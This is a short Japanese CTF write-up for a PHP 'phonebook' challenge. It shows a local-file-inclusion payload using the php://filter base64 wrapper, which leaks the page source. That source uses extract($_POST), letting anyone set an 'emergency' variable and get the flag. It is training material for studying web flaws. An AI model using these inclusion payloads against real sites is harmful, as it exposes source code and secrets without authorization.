Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
リングリング!番号を調べる必要がありますか?この電話帳はあなたをカバーしています! でも、緊急時にしかフラグを立てられません。
Connect here:
http://jh2i.com:50002
サイトにはこう書かれている。
Sorry! You are in /index.php/?file= The phonebook is located at phphonebook.php
とりあえず/phphonebook.phpに行ってみると番号が要求される。
与えられているIFを試してみよう。
/index.php/?file=phphonebook.phpとすると、cssとimageが表示されない状態でさっきの画面が出てくる。
つまり、phpとしては解釈されていているので、phpをインジェクションしているんだろう。
LFI
ファイルを内部的に取ってきているっぽいので、いつものphpプロトコルを試す。
/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php
...
<div>
<form method="POST" action="#">
<label id="form_label">Enter number: </label>
<input type="text" name="number">
<input type="submit" value="Submit">
</form>
</div>
<div id="php_container">
<?php
extract($_POST);
if (isset($emergency)){
echo(file_get_contents("/flag.txt"));
}
?>
</div>
...
emergencyがPOSTされていればフラグが表示されるみたい。

こんな感じに追加するとフラグが出てきた。